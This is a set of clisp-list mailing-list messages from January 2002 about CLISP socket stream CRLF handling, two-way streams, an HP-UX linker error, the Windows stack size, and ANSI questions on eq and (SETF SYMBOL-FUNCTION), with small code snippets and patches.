> > This feature has been requested in the past and was turned down - it
> > adds more complexity for a doubtful benefit.
> > The real answer is: "if you want to distinguish between CR and CR/LF,
> > you are doing something too low level" (or, maybe even "if you think you
> > need to distinguish between CR and CR/LF, think again").
> 
> Well, if the feature has been requested before and is being requested
> again, perhaps that means there is a benefit.  I know why I'd want to
> be able to distinguish CR and CRLF, and I even gave an example.
> 
> > If you implement a clean interface (e.g., adding INPUT-LINE-TERMINATOR
> > slot to ENCODING) and send us a patch, we will think about it.
> 
> Well, I don't need it enough to implement it, presently.  Especially
> if I'm not sure the maintainers are receptive to the idea.  Just
> getting CRLF->LF translation right seems like enough of a challenge
> for now.  I may just workaround it with peek-char and/or buffering,
> but it'd be nice to fix it right.

we _are_ receptive to good patches, especially when people are prepared
to stand by them and fix problems they might introduce.



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> * In message <m34rm43vxw.fsf@jetcar.qnz.org>
> * On the subject of "[clisp-list] socket-streams vs. two-way streams"
> * Sent on 02 Jan 2002 23:22:35 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> Is there a reason why socket-streams are not real two-way streams?

I hope Bruno will answer this question.

> The implementation notes refer to them as two-way streams as opposed
> to just IO streams, but two-way-stream-input-stream, e.g. fails on
> them.
> 
> However, if I just do this:
> 
>  # check whether the stream S is a two-way-stream
>  #define stream_twoway_p(s)                                              \
> -  (builtin_stream_p(s) && (TheStream(s)->strmtype == strmtype_twoway))
> +  (builtin_stream_p(s) && ((TheStream(s)->strmtype == strmtype_twoway)
> +                           || (TheStream(s)->strmtype == strmtype_twoway_socket)))
>  
this patch will crash TWO-WAY-STREAM-INPUT-STREAM.

> Then buffered sockets, at least, work as you would expect.  At least,
> in my two minutes of testing :).  With a little work, the unbuffered
> case could be handled similarly.  Would you accept a patch which did
> this?

why do you want this?

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> * In message <200201031400.g03E0ob10597@rray.mstc.state.ms.us>
> * On the subject of "Re: [clisp-list] Help building clisp on HP/UX 10.20"
> * Sent on Thu, 3 Jan 2002 08:00:49 -0600
> * Honorable Richard Ray <rray1@netdoor.com> writes:
>
> > $ uname -a
> > $ ./configure build
> 
> Attached is the output of these commands
> ...
> checking host system type... config.sub: too many arguments
> Try `config.sub --help' for more information.
> ...

I think the problem is with autoconf, not with CLISP.

please see <clisp/src/autoconf/config.sub> for information on how to
report this bug.


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Sam Steingold <sds@gnu.org> writes:
> > However, if I just do this:
> > 
> >  # check whether the stream S is a two-way-stream
> >  #define stream_twoway_p(s)                                              \
> > -  (builtin_stream_p(s) && (TheStream(s)->strmtype == strmtype_twoway))
> > +  (builtin_stream_p(s) && ((TheStream(s)->strmtype == strmtype_twoway)
> > +                           || (TheStream(s)->strmtype == strmtype_twoway_socket)))
> >  
> this patch will crash TWO-WAY-STREAM-INPUT-STREAM.
> 

No, it doesn't.  Because there's already:

  # define strm_twoway_socket_input  strm_twoway_input  # input side, a socket stream
  #define strm_twoway_socket_output  strm_twoway_output # output side, a socket stream

Anyway, I wasn't suggesting that that patch would be sufficient, or
the right way to do it, just that it doesn't seem like it'd be hard to
do it completely.

> > Then buffered sockets, at least, work as you would expect.  At least,
> > in my two minutes of testing :).  With a little work, the unbuffered
> > case could be handled similarly.  Would you accept a patch which did
> > this?
> 
> why do you want this?
> 

It would allow you to set different element-types and encodings on the
input and output sides of the socket.

It would provide a nice interface to shutdown(2) a socket.  You could
call (close (two-way-stream-output-stream *my-sock*)), and have it
implemented with shutdown(2) in C, instead of close(2).

It just seems right to me.

Of course, there may be implications that I don't see.  Turning the
question around, why wouldn't you want this?


Todd


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While running make in src I get the following error.

=A0 cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI =A0spvw.o =A0spvwtabf.o =
=A0
spvwtabs.o =A0
spvwtabo.o =A0eval.o =A0control.o =A0encoding.o =A0pathname.o =A0stream.o=
 =A0socket.o =A0
io.o=20
=A0array.o =A0hashtabl.o =A0list.o =A0package.o =A0record.o =A0sequence.o=
 =A0charstrg.o =A0
debug
.o =A0error.o =A0misc.o =A0time.o =A0predtype.o =A0symbol.o =A0lisparit.o=
 =A0foreign.o =A0
unixau
x.o =A0arihppa.o =A0gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a=
=20
libreadlin
e.a libavcall.a libcallback.a =A0-ltermcap =A0 -o lisp.run
/usr/ccs/bin/ld: Unsatisfied symbols:
=A0 =A0divu_6432_3232_ (code)

Can someone tell from this what library I'm missing?

Richard


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On Fri, 4 Jan 2002, Richard Ray wrote:

> Date: Fri, 4 Jan 2002 14:42:32 -0600
> From: Richard Ray <rray1@netdoor.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] Unsatisfied symbols: divu_6432_3232_
>=20
>=20
> While running make in src I get the following error.
>=20
> =A0 cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI =A0spvw.o =A0spvwtabf.o =
=A0

How convenient of you to mention that this is on HP-UX.
Some of us remember the peculiar compiler options, though. :)

> spvwtabs.o =A0
> spvwtabo.o =A0eval.o =A0control.o =A0encoding.o =A0pathname.o =A0stream.o=
 =A0socket.o =A0
> io.o=20
> =A0array.o =A0hashtabl.o =A0list.o =A0package.o =A0record.o =A0sequence.o=
 =A0charstrg.o =A0
> debug
> .o =A0error.o =A0misc.o =A0time.o =A0predtype.o =A0symbol.o =A0lisparit.o=
 =A0foreign.o =A0
> unixau
> x.o =A0arihppa.o =A0gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a=
=20
           ^^^^

Another clue there.

> libreadlin
> e.a libavcall.a libcallback.a =A0-ltermcap =A0 -o lisp.run
> /usr/ccs/bin/ld: Unsatisfied symbols:
> =A0 =A0divu_6432_3232_ (code)
>=20
> Can someone tell from this what library I'm missing?

Guessing by its name, it divides a 64 bit dividend by a 32
bit divisor to make a 32 bit quotient and remainder.

An assembly language function by that name appears in the source file
arihppa.d which corresponds to the arihppa.o object file above.

Note, however, that this function is removed with #if 0 with a German
comment which says ``Das funktioniert noch nicht''. Looks like there is
a little bit of work to do for the HP-UX/PA-RISC platform?



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While running make in src I get the following error.

  cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI  spvw.o  spvwtabf.o  
spvwtabs.o  
spvwtabo.o  eval.o  control.o  encoding.o  pathname.o  stream.o  socket.o  
io.o 
 array.o  hashtabl.o  list.o  package.o  record.o  sequence.o  charstrg.o  
debug
.o  error.o  misc.o  time.o  predtype.o  symbol.o  lisparit.o  foreign.o  
unixau
x.o  arihppa.o  gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a 
libreadlin
e.a libavcall.a libcallback.a  -ltermcap   -o lisp.run
/usr/ccs/bin/ld: Unsatisfied symbols:
   divu_6432_3232_ (code)

Can someone tell from this what library I'm missing?
The full make text is attached.
--------------Boundary-00=_5OHF7GWVY28YN3R6LV3L
Content-Type: text/plain;
  charset="iso-8859-1";
  name="make.out"
Content-Transfer-Encoding: base64
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On Friday 04 January 2002 03:06 pm, you wrote:
> On Fri, 4 Jan 2002, Richard Ray wrote:
> > Date: Fri, 4 Jan 2002 14:42:32 -0600
> > From: Richard Ray <rray1@netdoor.com>
> > To: clisp-list@lists.sourceforge.net
> > Subject: [clisp-list] Unsatisfied symbols: divu_6432_3232_
> >
> >
> > While running make in src I get the following error.
> >
> > =A0 cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI =A0spvw.o =A0spvwtab=
f.o =A0
>
> How convenient of you to mention that this is on HP-UX.
> Some of us remember the peculiar compiler options, though. :)

HP9000 S800 K200 HP/UX 10.20

>
> > spvwtabs.o =A0
> > spvwtabo.o =A0eval.o =A0control.o =A0encoding.o =A0pathname.o =A0stre=
am.o =A0socket.o
> > =A0 io.o
> > =A0array.o =A0hashtabl.o =A0list.o =A0package.o =A0record.o =A0sequen=
ce.o =A0charstrg.o
> > =A0 debug
> > .o =A0error.o =A0misc.o =A0time.o =A0predtype.o =A0symbol.o =A0lispar=
it.o =A0foreign.o
> > =A0 unixau
> > x.o =A0arihppa.o =A0gmalloc.o modules.o libsigsegv.a libintl.a libico=
nv.a
>
>            ^^^^
>
> Another clue there.
>
> > libreadlin
> > e.a libavcall.a libcallback.a =A0-ltermcap =A0 -o lisp.run
> > /usr/ccs/bin/ld: Unsatisfied symbols:
> > =A0 =A0divu_6432_3232_ (code)
> >
> > Can someone tell from this what library I'm missing?
>
> Guessing by its name, it divides a 64 bit dividend by a 32
> bit divisor to make a 32 bit quotient and remainder.
>
> An assembly language function by that name appears in the source file
> arihppa.d which corresponds to the arihppa.o object file above.
>
> Note, however, that this function is removed with #if 0 with a German
> comment which says ``Das funktioniert noch nicht''. Looks like there is
> a little bit of work to do for the HP-UX/PA-RISC platform?
>
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For what it's worth the reference is from lisparit.o

$ nm lisparit.o | grep divu_6432_3232_
divu_6432_3232_     |          |undef |code   |

I tried to attach the full make output but it was too big.


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Hello!

On the Microsoft Windows platform the stack is too small when compared to=20
GNU/Linux installations.

Can it be increased in any way without recompiling CLISP?

Are there interesting Common Lisp commands regarding the stack I should be=
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> * In message <5.1.0.14.2.20020105031053.00b12e90@miguelg.net>
> * On the subject of "[clisp-list] Stack size problem"
> * Sent on Sat, 05 Jan 2002 03:14:16 +0000
> * Honorable Miguel Gon=E7alves <m@miguelg.net> writes:
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> On the Microsoft Windows platform the stack is too small when compared
> to GNU/Linux installations.
>=20
> Can it be increased in any way without recompiling CLISP?

editbin /stack:3145728 lisp.exe

> Are there interesting Common Lisp commands regarding the stack I should
> be aware of?

<http://clisp.cons.org/impnotes.html#debugger>

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> * In message <m3lmfffkcd.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> * Sent on 03 Jan 2002 11:52:18 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
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> > why do you want this?
> 
> It would allow you to set different element-types and encodings on the
> input and output sides of the socket.
> 
> It would provide a nice interface to shutdown(2) a socket.  You could
> call (close (two-way-stream-output-stream *my-sock*)), and have it
> implemented with shutdown(2) in C, instead of close(2).

I don't understand this.
why is shutdown better than close?
what does this have to do with two-way-stream-output-stream being
applicable to a socket?

> It just seems right to me.
> 
> Of course, there may be implications that I don't see.  Turning the
> question around, why wouldn't you want this?

because I don't know all the possible pitfalls.
are you prepared to submit tested (at least on two platforms) patches
and take responsibility (as in "fix bugs") for the code you write?
if yes, your patches (against CVS) will be accepted.
(we should probably move this discussion to <clisp-devel>.)

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> * In message <m3ofkc3xhy.fsf@jetcar.qnz.org>
> * On the subject of "[clisp-list] socket-stream-peer fails on buffered streams"
> * Sent on 02 Jan 2002 22:48:57 -0500
> * Honorable Todd Sabin <tas@webspan.net> writes:
>
> [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t))
> #<IO BUFFERED SOCKET-STREAM CHARACTER jetcar.qnz.org:80>
> [2]> (socket-stream-peer *my-sock*)
> 
> *** - UNIX error 9 (EBADF): Bad file number
> 1. Break [3]> 

thanks for the bug report - I fixed this bug in the CVS.


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When trying to build CLisp 2.27 using nmake in
Win2KSP2, I encountered a problem that del could stop
the build prematurely if it tried to delete
non-existent files/directories. Prefixing the command
with '-' solves the problem. Attached is a patch that
modifies existing references to 'del' to '-del'.

Indra

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Todd Sabin wrote:

> So, I was trying to write some sample code that would act as an HTTP
> client.  What I did was (socket-connect ...), (format ...), then
> (read-line ...) until I got the empty line.  At that point, I did
> (setf (stream-element-type *socket*) '(unsigned byte 8)), and then
> (read-sequence *array* *socket*), where *array* was obtained from
> make-array with the size specified by the Content-Length: header.

Seriously, you should never use read-line for that stuff, even if it
seems to "work".  HTTP (and many other protocols) use CRLF.  read-line
has nothing to do with CRLF.  It might work on your machine-of-the-
moment, in your lisp-of-the-moment, but it is wrong.

This is what I use in ACL (windows, linux) and MCL:


(defparameter *cr* (code-char 13))
(defparameter *lf* (code-char 10))

(defun read-telnet-line (stream)
  "Read a CRLF-terminated line"
  (let ((line (make-array 10 :element-type 'character :adjustable t
:fill-pointer 0))
        (char nil))
    (do () ((or (eq :eof (setq char (read-char stream NIL :eof)))
                (and (eq char *cr*) (eq (peek-char nil stream) *lf*)))
            (when (not (eq char :eof)) (read-char stream))
            line)
      (vector-push-extend char line))))


I haven't tried this in clisp.



John Wiseman



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After running the editbin command exactly as you suggested I got this:

[1]> (defun fact (n)
    (if (> n 0)
       (* n (fact (- n 1)))
       1))
FACT

[2]>
(fact 5000)

*** - Program stack overflow. RESET
[3]>

What might be the problem? Is it CLISP or Windows? I tried the same=20
function with DrScheme and managed to calculate (fact 20000) so I think=20
it's not a Windows problem.

TIA,
Miguel

At 10:40 05-01-2002 -0500, you wrote:
> > * In message <5.1.0.14.2.20020105031053.00b12e90@miguelg.net>
> > * On the subject of "[clisp-list] Stack size problem"
> > * Sent on Sat, 05 Jan 2002 03:14:16 +0000
> > * Honorable Miguel Gon=E7alves <m@miguelg.net> writes:
> >
> > On the Microsoft Windows platform the stack is too small when compared
> > to GNU/Linux installations.
> >
> > Can it be increased in any way without recompiling CLISP?
>
>editbin /stack:3145728 lisp.exe
>
> > Are there interesting Common Lisp commands regarding the stack I should
> > be aware of?
>
><http://clisp.cons.org/impnotes.html#debugger>
>
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John Wiseman wrote:

> (defun read-telnet-line (stream)
>   "Read a CRLF-terminated line"
>   (let ((line (make-array 10 :element-type 'character :adjustable t
:fill-pointer 0))
>         (char nil))
>     (do () ((or (eq :eof (setq char (read-char stream NIL :eof)))
>                 (and (eq char *cr*) (eq (peek-char nil stream) *lf*)))
>             (when (not (eq char :eof)) (read-char stream))
>             line)
>       (vector-push-extend char line))))

Eek, was I really using eq to compare characters?  This should, of course,
be


(defun read-telnet-line (stream)
   "Read a CRLF-terminated line"
   (let ((line (make-array 10 :element-type 'character :adjustable t
:fill-pointer 0))
         (char nil))
     (do () ((or (eq :eof (setq char (read-char stream NIL :eof)))
                 (and (eql char *cr*) (eql (peek-char nil stream) *lf*)))
             (when (not (eq char :eof)) (read-char stream))
             line)
       (vector-push-extend char line))))


John



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Please ignore my previous message (quoted bellow) as I found out that the=20
editbin program expects

/STACK instead of /stack (it is case sensitive).

BTW, why running (fact 250000) (that's a huge number :) I am just trying=20
out LISP's mathematical capabilities as I intend to use it very soon for a=
=20
project that involves lots of mathematics) in non-compiled mode CLISP=20
aborts with:

C:\CLISP>clisp factorial.lsp

C:\CLISP>c:\clisp\lisp.exe -m 128MB -M c:\clisp\lispinit.mem -B c:\clisp=20
factori
al.lsp

*** - Lisp stack overflow. RESET

and running with the -C flag (id est, compiling before running) it all goes=
=20
well (it completes the calculation in about 60 seconds -- real time)?

Best regards,
Miguel

At 21:15 05-01-2002 +0000, Miguel Gon=E7alves wrote:
>After running the editbin command exactly as you suggested I got this:
>
>[1]> (defun fact (n)
>    (if (> n 0)
>       (* n (fact (- n 1)))
>       1))
>FACT
>
>[2]>
>(fact 5000)
>
>*** - Program stack overflow. RESET
>[3]>
>
>What might be the problem? Is it CLISP or Windows? I tried the same=20
>function with DrScheme and managed to calculate (fact 20000) so I think=20
>it's not a Windows problem.
>
>TIA,
>Miguel
>
>At 10:40 05-01-2002 -0500, you wrote:
>> > * In message <5.1.0.14.2.20020105031053.00b12e90@miguelg.net>
>> > * On the subject of "[clisp-list] Stack size problem"
>> > * Sent on Sat, 05 Jan 2002 03:14:16 +0000
>> > * Honorable Miguel Gon=E7alves <m@miguelg.net> writes:
>> >
>> > On the Microsoft Windows platform the stack is too small when compared
>> > to GNU/Linux installations.
>> >
>> > Can it be increased in any way without recompiling CLISP?
>>
>>editbin /stack:3145728 lisp.exe




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> * In message <5.1.0.14.2.20020105225719.00b135b8@miguelg.net>
> * On the subject of "Re: [clisp-list] Stack size problem"
> * Sent on Sat, 05 Jan 2002 23:06:52 +0000
> * Honorable Miguel Gon=E7alves <m@miguelg.net> writes:
>
> BTW, why running (fact 250000) (that's a huge number :) I am just
> trying out LISP's mathematical capabilities as I intend to use it very
> soon for a project that involves lots of mathematics) in non-compiled
> mode CLISP aborts with:
>=20
> C:\CLISP>clisp factorial.lsp
>=20
> C:\CLISP>c:\clisp\lisp.exe -m 128MB -M c:\clisp\lispinit.mem -B c:\clisp
> factori
> al.lsp
>=20
> *** - Lisp stack overflow. RESET
>=20
> and running with the -C flag (id est, compiling before running) it all
> goes well (it completes the calculation in about 60 seconds -- real
> time)?

compiled code is faster and uses less stack - are you surprised?

note that your implementation of factorial is very inefficient.
see CLOCC/CLLIB/math.lisp (product-from-to, fibonacci &c)
<http://www.podval.org/~sds/data/cllib.html>

note also that CLISP has some mathematical functions built-in.
<http://clisp.cons.org/impnotes.html#d39e4421>

--=20
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> * In message <NDBBIAAEHKEHKBJDNFKFAELIFHAA.wiseman@inetmi.com>
> * On the subject of "RE: [clisp-list] bugs in (setf (stream-element-type x) ...)"
> * Sent on Sat, 5 Jan 2002 15:12:30 -0600
> * Honorable "John Wiseman" <wiseman@inetmi.com> writes:
>
> Todd Sabin wrote:
> 
> > So, I was trying to write some sample code that would act as an HTTP
> > client.  What I did was (socket-connect ...), (format ...), then
> > (read-line ...) until I got the empty line.  At that point, I did
> > (setf (stream-element-type *socket*) '(unsigned byte 8)), and then
> > (read-sequence *array* *socket*), where *array* was obtained from
> > make-array with the size specified by the Content-Length: header.
> 
> Seriously, you should never use read-line for that stuff, even if it
> seems to "work".  HTTP (and many other protocols) use CRLF.  read-line
> has nothing to do with CRLF.  It might work on your machine-of-the-
> moment, in your lisp-of-the-moment, but it is wrong.

you mean it is not portable?  sure.

but there is nothing wrong with making CLISP handle this correctly, and
making encodings specify input line termination mode is, IMO, TRW.

wanna do it?

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* "John Wiseman" <wiseman@inetmi.com>:

> Eek, was I really using eq to compare characters?

Isn't that okay?  I mean, for what reasons should (eq #\a #\a) be
nil?

(Just curious.)

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Johannes Grodem wrote:

> > Eek, was I really using eq to compare characters?
>
> Isn't that okay?  I mean, for what reasons should (eq #\a #\a)
> be nil?

From the Hyperspec entry on eq
(http://www.xanalys.com/software_tools/reference/HyperSpec/Body/fun_eq.html)
:

  An implementation is permitted to make ``copies'' of characters and
  numbers at any time. The effect is that Common Lisp makes no
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> * In message <20011230131716.B6073@balefire.localdomain>
> * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP"
> * Sent on Sun, 30 Dec 2001 13:17:16 -0600
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> There's also a remaining non-ANSI-ism in CLISP which has historically
> caused problems in SBCL bootstrapping, even though I didn't run into
> it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals
> an error).

(SETF SYMBOL-FUNCTION) is a macro, not a function in CLISP.
I don't think that ANSI requires it to be a function.

wrt (FUNCTION macro) ANSI says:

| It is an error to use function on a function name that does not denote
| a function in the lexical environment in which the function form
| appears. Specifically, it is an error to use function on a symbol that
| denotes a macro or special form . An implementation may choose not to
| signal this error for performance reasons, but implementations are
| forbidden from defining the failure to signal an error as a useful
| behavior.

I just fixed CLISP so that (FDEFINITION (SETF foo)) work even when (SETF
foo) is a macro, not a function.

thanks for your bug reports!

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> * In message <20020105203147.50866.qmail@web10108.mail.yahoo.com>
> * On the subject of "[clisp-list] MSVC makefiles (patch)"
> * Sent on Sat, 5 Jan 2002 12:31:47 -0800 (PST)
> * Honorable Indrayana Rustandi <i_rustandi@yahoo.com> writes:
>
> When trying to build CLisp 2.27 using nmake in
> Win2KSP2, I encountered a problem that del could stop
> the build prematurely if it tried to delete
> non-existent files/directories. Prefixing the command
> with '-' solves the problem. Attached is a patch that
> modifies existing references to 'del' to '-del'.

thanks - I just applied a patch based on yours.

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John Wiseman <wiseman@inetmi.com> writes:

> Todd Sabin wrote:
> 
> > So, I was trying to write some sample code that would act as an HTTP
> > client.  What I did was (socket-connect ...), (format ...), then
> > (read-line ...) until I got the empty line.  At that point, I did
> > (setf (stream-element-type *socket*) '(unsigned byte 8)), and then
> > (read-sequence *array* *socket*), where *array* was obtained from
> > make-array with the size specified by the Content-Length: header.
> 
> Seriously, you should never use read-line for that stuff, even if it
> seems to "work".  HTTP (and many other protocols) use CRLF.  read-line
> has nothing to do with CRLF.  It might work on your machine-of-the-
> moment, in your lisp-of-the-moment, but it is wrong.
> 

That depends on what you mean by 'wrong'.  And whether anything can
actually be considered 'right'.  I'm fairly new to doing sockets and
streams in Common Lisp, and have been trying to figure out the way
you're supposed to do stuff like this.  I haven't been able to figure
it out, yet.  If you can explain it to me, I'd be grateful.

> This is what I use in ACL (windows, linux) and MCL:
> 
> 
> (defparameter *cr* (code-char 13))
> (defparameter *lf* (code-char 10))
> 
> (defun read-telnet-line (stream)
>   "Read a CRLF-terminated line"
>   (let ((line (make-array 10 :element-type 'character :adjustable t
> :fill-pointer 0))
>         (char nil))
>     (do () ((or (eq :eof (setq char (read-char stream NIL :eof)))
>                 (and (eq char *cr*) (eq (peek-char nil stream) *lf*)))
>             (when (not (eq char :eof)) (read-char stream))
>             line)
>       (vector-push-extend char line))))
> 
> 
> I haven't tried this in clisp.
> 

If you do, I think you'll find that it doesn't work.  For character
streams, clisp automatically transforms CRLF -> LF, so you'll never
see a CR followed by a LF, unless the bytes have CRCRLF.  Furthermore,
I can't see that this translation is wrong.  The only thing I found on
it in the HyperSpec was that for character streams implementations are
supposed to do the 'appropriate' line termination transforms, or
something to that effect.  If you can show otherwise, I'd be
interested.  (Not that I like the CRLF -> LF transformation; I've
found it to be more trouble than it's worth, so far.)

Also, assuming you've read chars up to the point where the HTTP
headers end, how are you going to read the bytes, assuming that it's
binary data?  Nothing says that read-byte is supposed to work on
character streams, as far as I can tell, so it seems you either need
something non-portable like (setf (stream-element-type ...)), or an
implementation that allows you to mix bytes and chars, or you need a
guarantee from your implementation that CHARACTER is the same as
(unsigned-byte 8), and it doesn't do any CRLF -> LF type of tranform.

It seems the only truly portable approach is to always use read-byte
with (unsigned-byte 8) and write your own read line function which
does the transforms from bytes to chars for you.  If you do that,
though, you can't use FORMAT for output anymore.  I suppose you could
(format nil ...) and then map char-code over the resulting string and
write-byte them all.

At least, that's how things appear to my admittedly cl-inexperienced
eye.  Is there a less elaborate approach that's both considered
'right' (or at least 'good enough') and actually works in all
conforming implementations?

Not trying to be a pedant.  I'm really interested.


Todd


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On Sun, Jan 06, 2002 at 03:15:14PM -0500, Sam Steingold wrote:
> > * In message <20011230131716.B6073@balefire.localdomain>
> > * On the subject of "[clisp-list] problems bootstrapping SBCL with CLISP"
> > * Sent on Sun, 30 Dec 2001 13:17:16 -0600
> > * Honorable William Harold Newman <william.newman@airmail.net> writes:
> >
> > There's also a remaining non-ANSI-ism in CLISP which has historically
> > caused problems in SBCL bootstrapping, even though I didn't run into
> > it this time: (FUNCTION (SETF SYMBOL-FUNCTION)) doesn't work (signals
> > an error).
> 
> (SETF SYMBOL-FUNCTION) is a macro, not a function in CLISP.
> I don't think that ANSI requires it to be a function.

> wrt (FUNCTION macro) ANSI says:
> 
> | It is an error to use function on a function name that does not denote
> | a function in the lexical environment in which the function form
> | appears. Specifically, it is an error to use function on a symbol that
> | denotes a macro or special form . An implementation may choose not to
> | signal this error for performance reasons, but implementations are
> | forbidden from defining the failure to signal an error as a useful
> | behavior.

I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't
conforming code). At first I agreed with you anyway, but I've since
concluded that it's a (natural) misreading of the spec. I'll explain...

I looked for quite a while without finding anything in the ANSI spec
to contradict you. The page defining the symbol SYMBOL-FUNCTION says
that SYMBOL-FUNCTION itself is an "accessor". And the glossary
definition of "accessor" says it's an operator which reads or writes,
and the glossary definition of "operator" says it's either a function
or a macro. So it looks as though SYMBOL-FUNCTION itself can be a
macro, so (SETF SYMBOL-FUNCTION) can presumably be a macro too.

However, even though the spec seemed to agree with you, I wondered
whether we were reading the spec right. ANSI uses the terminology
"accessor" in the definitions of various function-ish things,
including CAR and FIND-CLASS. Is it really true that
  (mapcar #'car expressions)
and 
  (find class class-names :key #'find-class)
aren't portable code because a conforming ANSI CL implementation might
define CAR and FIND-CLASS as macros instead of functions? I found that
weird, enough so that I was skeptical about the (admittedly natural)
reading of the Hyperspec above.

Thus, I looked harder. Eventually, I found support for the behavior I
expected, in "1.4.4.14 The ``Name'' Section of a Dictionary Entry". It
says
    This section introduces the dictionary entry. It is not explicitly
  labeled. It appears preceded and followed by a horizontal bar.
    In large print at left, the defined name appears; if more than one
  defined name is to be described by the entry, all such names are
  shown separated by commas. 
    In somewhat smaller italic print at right is an indication of what
  kind of dictionary entry this is. Possible values are: 
    Accessor 
      This is an accessor function. 
    [etc.]
So: I think when you see "accessor" at the head of an entry in the
symbols dictionary, it is to be interpreted as "accessor function".
(And yes, this *does* seem like a remarkably indirect and confusing
way to specify the function-not-macro-ness of things like CAR.)

> I just fixed CLISP so that (FDEFINITION (SETF foo)) work even when (SETF
> foo) is a macro, not a function.

Thank you.

(And please be patient about the SBCL/CLISP porting stuff, since I'm
still flailing at other sbcl problems.)

-- 
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Sam Steingold <sds@gnu.org> writes:

> > No, there were CR returns in there, as well.  I suppose I could have
> > done (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0^M~%^M~%").
> 
> if you do
> (socket-connect 80 "jetcar.qnz.org" :buffered t :external-format :dos)
> then TERPRI will send CRLF.
> 

Ah, ok.

> > > using UnbufferedStreamLow_listen() should prevent hanging.
> > > 
> > >         if (ignore_next_LF) {
> > >           if (UnbufferedStreamLow_listen()) {
> > >             if (peak_char() == LF)
> > >               read_char();
> > >           }
> > >         }
> > > 
> > > patch would be welcome.
> > > 
> > 
> > Will the low-level peek_char do roughly the same thing as the
> > lisp-level one?  I.e., read-char, unread-char?
> 
> no, they use non-blocking libc routines.
> 

My point was that using peek_char in C will cause visible (incorrect)
changes at the lisp level.  Assume the data contains CR <non-LF>.  Now
if the user does (read-char stream), and then tries (unread-char CR),
it would cause an error, because the C code did a peek_char
(read,unread) during the read-char, so the last char read is not
really CR, but the <non-LF>.  The C code would need to account for
this case, and I don't see a straightforward way of doing it.

> > Also, this wouldn't handle the case where the next character will be a
> > LF, but it's not available, yet.  This can happen in the buffered
> > case, as well, and it's not even necessary to use
> > (setf (stream-element-type ..)) to get incorrect results in that case.
> > It seems that the buffered case needs to pay attention to ignore_next_LF,
> > too.
> > 
> > There seem to be other implications with the way things currently
> > stand, as well.  Say I want to write an HTTP proxy.  What I'd do is
> > listen for a connection on a socket.  When I get one, do read-line
> > until I get an empty line, process the request, send the results to my
> > client and close the socket (stream).  If I do that but don't use a
> > buffered stream, then I'll end up sending a TCP RST to my client
> > because the last LF of his request will remain unread.  Ugh.
> 
> yes, this is an issue.
> patch is welcome.
> 

Again, I don't see a nice way of handling it.  I guess you could check
for the LF just before closing, or doing a (setf (stream-element-type
...))  and eat it at that point.


Todd


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 > That depends on what you mean by 'wrong'.  And whether anything can
 > actually be considered 'right'.  I'm fairly new to doing sockets and
 > streams in Common Lisp, and have been trying to figure out the way
 > you're supposed to do stuff like this.  I haven't been able to figure
 > it out, yet.  If you can explain it to me, I'd be grateful.
For dealing with standard internet protocols I long ago gave up trying
to use characters in clisp and moved to bytes.  At least for reading.
If you have a string that you want to write then it's ok to write it
as characters.  My impression is that others who have tried to do
similar tasks have generally followed the same path, sometimes after
much effort trying to make it all work with characters.

You might also save a lot of time by using code that others have
already written for such things.  I recall a number of http servers.
Mine is in clocc under src/donc I believe (can't reach clocc just
now).  I've not tried to keep track of others but I recall seeing 
something about that not too long ago on this list.


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On Sun, 6 Jan 2002, William Harold Newman wrote:

> I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't
> conforming code).

I'd be surprised if anything other than #'function-name or
#'(lambda ... expression) is conforming code.

 At first I agreed with you anyway, but I've since
> concluded that it's a (natural) misreading of the spec. I'll explain...
> 
> I looked for quite a while without finding anything in the ANSI spec
> to contradict you. The page defining the symbol SYMBOL-FUNCTION says
> that SYMBOL-FUNCTION itself is an "accessor". 

That is completely irrelevant. The special operator called ``function''
receives its parameter unevaluated. So in the expression

    (function (setf ...))

the operator simply receives the list (setf ...).  The operator
understands only two things: a function name, or a lambda expression.
It will ``curry'' either of these into a funcall-able object.

In order for (function (setf ...)) to do anything useful, the setf form
would have to be considered a lambda expression.  This is not the case;
a lambda expression is a list object whose first element is the symbol
lambda.

> And the glossary
> definition of "accessor" says it's an operator which reads or writes,

It's only an accessor when it's evaluated, not when it's part of a
dead list that is passed unevaluated to an operator.

If you want to turn the form 

    (setf (symbol-function some-symbol) new-value)

into a funcallable object which takes new-value as a parameter, wrap it
in a lambda expression:

    #'(lambda (new-value) (setf (symbol-function some-symbol) new-value))

There you go, now you can funcall this with one argument, new new value
to be stored in the symbol's function cell.



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Sam Steingold <sds@gnu.org> writes:

> > * In message <m3lmfffkcd.fsf@jetcar.qnz.org>
> > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams"
> > * Sent on 03 Jan 2002 11:52:18 -0500
> > * Honorable Todd Sabin <tas@webspan.net> writes:
> >
> > > why do you want this?
> > 
> > It would allow you to set different element-types and encodings on the
> > input and output sides of the socket.
> > 
> > It would provide a nice interface to shutdown(2) a socket.  You could
> > call (close (two-way-stream-output-stream *my-sock*)), and have it
> > implemented with shutdown(2) in C, instead of close(2).
> 
> I don't understand this.
> why is shutdown better than close?

shutdown(2) allow you to say, I'm done sending on this socket, but I
still want to be able to receive, or vice-versa.  close(2) closes both
directions.  In TCP terms, doing a shutdown on output will cause your
machine to send a FIN and close that half of the channel.  The other
side will in effect get an EOF on its input, and still be able to send
output back to you.

> what does this have to do with two-way-stream-output-stream being
> applicable to a socket?
> 

I'm just trying to map the socket/TCP concepts onto common lisp stream
semantics.  IMO, the obvious way of doing it in this case is to have
sockets be two-way streams, and specifying the semantics above.

Generally speaking, I want to be able to do everything with sockets
that I can do in C, but in lisp.  Maybe this isn't the way to do it, I
don't know.

